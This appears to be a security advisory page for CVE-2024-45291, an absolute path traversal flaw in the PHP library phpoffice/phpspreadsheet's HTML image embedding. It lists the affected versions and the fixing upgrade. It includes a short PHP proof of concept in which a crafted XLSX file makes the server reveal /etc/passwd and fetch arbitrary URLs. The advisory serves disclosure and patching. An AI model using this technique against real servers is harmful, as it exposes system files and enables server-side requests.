Absolute Path Traversal Affecting phpoffice/phpspreadsheet package, versions <1.29.2>=2.0.0, <2.1.1>=2.2.0, <2.3.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.07% (33rd percentile)

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  • Snyk IDSNYK-PHP-PHPOFFICEPHPSPREADSHEET-8163662
  • published8 Oct 2024
  • disclosed7 Oct 2024
  • creditEmil Virkki

Introduced: 7 Oct 2024

CVE-2024-45291  (opens in a new tab)
CWE-36  (opens in a new tab)

How to fix?

Upgrade phpoffice/phpspreadsheet to version 1.29.2, 2.1.1, 2.3.0 or higher.

Overview

phpoffice/phpspreadsheet is a Spreadsheet engine that Read, Create and Write Spreadsheet documents in PHP .

Affected versions of this package are vulnerable to Absolute Path Traversal via the HTML writer process when embedding images. An attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests by constructing an XLSX file that links images from arbitrary paths or URLs, which are then included in the output as data: URLs.

Note:

This is only exploitable if the $writer->setEmbedImages(true); setting is enabled.

PoC

<?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();

// The below is just for demo purposes

$pattern = '/data:;base64,(?<data>[^"]+)/i';

preg_match_all($pattern, $output, $matches);

print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));

print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));

CVSS Scores

version 4.0
version 3.1